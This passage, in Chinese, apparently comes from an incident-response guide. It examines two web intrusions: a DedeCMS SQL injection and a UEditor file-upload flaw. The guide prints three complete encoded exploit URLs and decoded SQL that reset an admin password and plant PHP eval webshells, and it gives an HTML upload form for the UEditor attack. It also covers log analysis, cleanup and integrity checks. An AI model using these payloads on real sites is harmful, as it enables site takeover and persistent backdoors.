0&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[]=30&arrs2[
```

rrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2 []=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83& arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=101&arrs2[]=99&arrs2[] =104&arrs2[]=111&arrs2[]=32&arrs2[]=109&arrs2[]=79&arrs2[]=111&arrs2[]=110&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=69&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=82&arrs2[]=69&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=72&arrs2[]=82&arrs2[]=69&arrs2[]=69&arrs2[]=69&arrs2[]=69&arrs2[]=69&arrs2[]=69&arrs2[]=72&arrs2[]=96&arrs2[]=97&arr s2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=57&arrs2[]=32&arrs

172.16.1.12 180.xx.xxx.3 - - [10/Jun/2018:08:41:43 +0800] "GET /plus/ad_js.php?aid=19 HTTP/1.1" 200 32

对这段POC进行解码,我们发现通过这个poc可以往数据库中插入数据,进一步访问/plus/ad_js.php?aid=19即可在 plus目录生成read.php脚本文件。



解码后:

cfg_dbprefixmyad SET normbody = '<?php file_put_contents(''read.php'',''<?php eval(\$_POST[x]);echo
mOon;?>'');?>' WHERE aid` =19 #

综上,可以推测/plus/download.php中可能存在SQL注入漏洞,接下来,收集网上已公开的有以下3种EXP进行漏洞复现。

4、漏洞复现

利用方式一:修改后台管理员

1、新建管理员账号test/test123789,可以成功登录网站后台

2、构造如下注入SQL语句:

cfg_dbprefixadmin SETuserid='spider',pwd ='f297a57a5a743894a0e4' where id=19 #`

修改后台管理员为:用户名spider,密码admin。

```
(3) 对应的EXP:
```

?

open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]= 114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=1 05&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2 2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]= 44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=55&arrs2[]=55&arrs2[]=55&arrs2[]=55&arrs2[]=55&arrs2[]=55&arrs2[]=57]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=11 4&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=57&arrs2[]=32&arr s2[]=35

执行EXP后,相应后台数据库表变为如下:



(4) 因此相应后台登录用户变为spider密码admin

利用方式二:通过/plus/mytag_js.php文件生成一句话木马php

(1) 如:构造如下注入SQL语句:

`cfg_dbprefixmytag(aid,expbody,normbody) VALUES(9013,@','{dede:php}file_put_contents("90sec.php","");
{/dede:php}') # @'``

(2) 对应的EXP:

?

open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]= 114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]= 97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&ar rs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs 2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2 []=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&ar rs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39 &arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&ar rs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arr s2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]= 39&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=112&arrs2[]=104&a rrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]= 112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40 &arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62 &arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs 2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96

(3) 执行EXP后,将向数据库表dede_mytag中插入一条记录,

| 😑 🔹 > 运行 📲 停止 🔡 解释 🛛 🎨 新建 📥 载入 🔡 保存 暗 另存为 📗 🏹 美化 SQL 🗟 备注 📲 导出 | |
|---|----------|
| 查询创建工具 查询编辑器 | |
| 1 select * from dede_mytag where aid= 9013 | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| aid typeid tag tin stag en hormbody | expbody |
| 9013 0 0 dete:php}file_put_contents('90sec.php',' (?php eval(\$_POST[guige]);?');{/dede:php}file_put_contents('90sec.php',' (?php eval(\$_POST[guige]);?'); |) 0%ull) |

(4) 执行如下语句,在/plus目录下生成90sec.php一句话木马 <u>http://www.xxxx.com/plus/mytag_js.php?aid=9013</u>

利用方式三: 使/plus/ad_js.php文件变为一句话木马php

(1) 如:构造如下注入SQL语句:

cfg_dbprefixmyadSETnormbody= '<?php file_put_contents(''read.php'',''<?php eval(\$_POST[x]);echo
mOon;?>'');?>' WHEREaid =19 #`

(2) 对应的EXP:

/plus/download.php?

open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]= 114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=1 00&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs 2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112& arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&ar rs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=100 arrs2[]=100 arrs2[]=10 2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=114&arrs2[]=101&arrs2[]=97&arrs2[]= 100&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&a rrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2 []=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83& arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=101&arrs2[]=99&arrs2[]=104&arrs2[]=111&arrs2[]=32&arrs2[]=109&arrs2[]=79&arrs2[]=111&arrs2[]=110&arrs2[]=59&arrs2[]=6 3&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arr s2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=57&arrs2[]=32&arrs2[]=3 5

(3) 执行EXP后,将向数据库表dede_myad中插入一条记录。

(4) 进一步访问/plus/ad_js.php?aid=19 即可在plus目录生成read.php脚本文件。

如何清除?

1、删除网站目录中的webshell

2、清除dede_myad、dede_mytag数据库表中插入的SQL语句,防止再次被调用生成webshell。

如何防御?

网站采用开源CMS搭建,建议及时对官方发布的系统补丁以及内核版本进行升级。

第9篇:编辑器入侵事件

UEditor是百度的一个javascript编辑器的开源项目,很多开发人员都喜欢引用这个编辑器,但这个编辑器官网版本一直 停留在2016-05-26,已经很久没有更新了。

现象描述

HIDS预警:发现后门(Webshell)文件,建议您立即进行处理。

事件分析

1、发现Webshell

通过预警信息,找到木马文件路径:

| 10200309 | | | | |
|---|---|----------------------------------|------------------------|---------------|
| | ' + ueditor + net + upload + image + 20200309 | ▼ | 搜索 20200309 | P |
| 组织 ▼ 包含到库中 ▼ | 共享 🔻 新建文件夹 | | | := |
| 술 收藏夹 | 名称 🔺 | 修改日期 | 类型 | 大小 |
| ▶▶ 下载 ■■ 桌面 | 📮 6371936331449320626965500. cer 🖹 6371936331547308527564083. ashx | 2020/3/9 15:08 2020/3/9 15:08 | 安全证书 ASP.NET Generi | 1 KB 13 KB |
| □ 库 ■ 视频 ■ 图片 ■ 文档 ● 音乐 | | | | |

备注:紧急处理,通过禁止动态脚本在上传目录的运行权限,使webshell无法成功执行。

2、定位文件上传时间

根据Webshell文件创建时间, 2020年3月9日 15:08:34

| 🏭 l 💽 🚯 = l | 20200309 | _ 🗆 X | a 637 | 1936331449320626965500.cer 属性 |
|--------------|--|-----------------|--------------|-------------------------------------|
| 文件 主页 共享 | 查看 | ~ 🔞 | 常规 安全 | 洋细信息 以前的版本 |
| 🔄 💿 🔻 🕯 🐝 ne | et 🕨 upload 🕨 image 🕨 20200309 🛛 🗸 🖒 複変"20200309 | م, יי | | |
| ☆ 収蔵夾 | 名称 | 修改日期 | | 6371936331449320626965500.cer |
| 😹 下载 | 🛱 6371936331449320626965500.cer | 2020/3/9 15:08 | | |
| 三 桌面 | 6371936331547308527564083.ashx | 2020/3/9 15:08 | 文件类型: | 安全证书 (.cer) |
| 321 最近访问的位置 | web.config | 2020/3/10 14:53 | 打开方式: | 🚳 加密外壳扩展 夏政(C) |
| /■ 这台电脑 | | | | |
| | | \mathbf{X} | 位置: | D:\? (ueditor\net\upload\image\2020 |
| 📬 网络 | | | 大小: | 102 字符 (102 字符) |
| | | | 占用空间: | 0 字符 |
| | | | August 10 | |
| | | | 创改重约可同: | 2020年3月9日,15:08:34 |
| | | | 修改时间: | 2020年3月9日,15:08:34 |
| | | | 访问时间: | 2020年3月9日,15:08:34 |
| | | | | |

3、Web访问日志关联分析

由于, IIS日志时间与系统时间相差8小时, 系统时间是15:08, 我们这里查看的是 7:08的日志时间。

找到对应的网站访问日志,在文件创建时间隔间里,我们会注意到这样两个ueditor的访问请求,初步怀疑是UEditor编 辑器任意文件上传漏洞。

4、本地漏洞复现

A、本地构建一个html

```
<form action="http://xxxxxxx/ueditor/net/controller.ashx?
action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
shell addr:<input type="text" name="source[]" />
<inputtype="submit" value="Submit" />
</form>
```

B、上传webshell,上传成功

← → C ③ 文件 | C:/Users/Bypass/Desktop/1.html

shell addr: http://www.sline.com/1.gif?.;

经漏洞复现,确认UEditor编辑器任意文件上传漏洞。

5、还原攻击者行为

通过相关文件的访问记录进行关联分析,攻击者通过 ueditor编辑器成功上传webshell。

6、事件处理

A、删除Webshell

清楚已发现的webshell,并尝试查找可能隐藏的webshell。

B、代码完整性验证

我们来思考一个问题,如果有一个免杀的Webshell隐藏在数以万行的代码中,怎么搞?

文件完整性校验,检查网站的源码是否被篡改过。

操作过程:

通过查看服务器上已部署的源代码版本,找研发同事要同样版本的代码。把纯净源码的所有文件计算一次hash值保存, 再到服务器上执行一次hash值,通过比对hash值,输出新创建的/被修改过的/删除的文件列表。

C、系统入侵排查

对系统做一个整体排查,确认是否存在后门

D、代码修复

反馈给相关开发人员进行代码修复。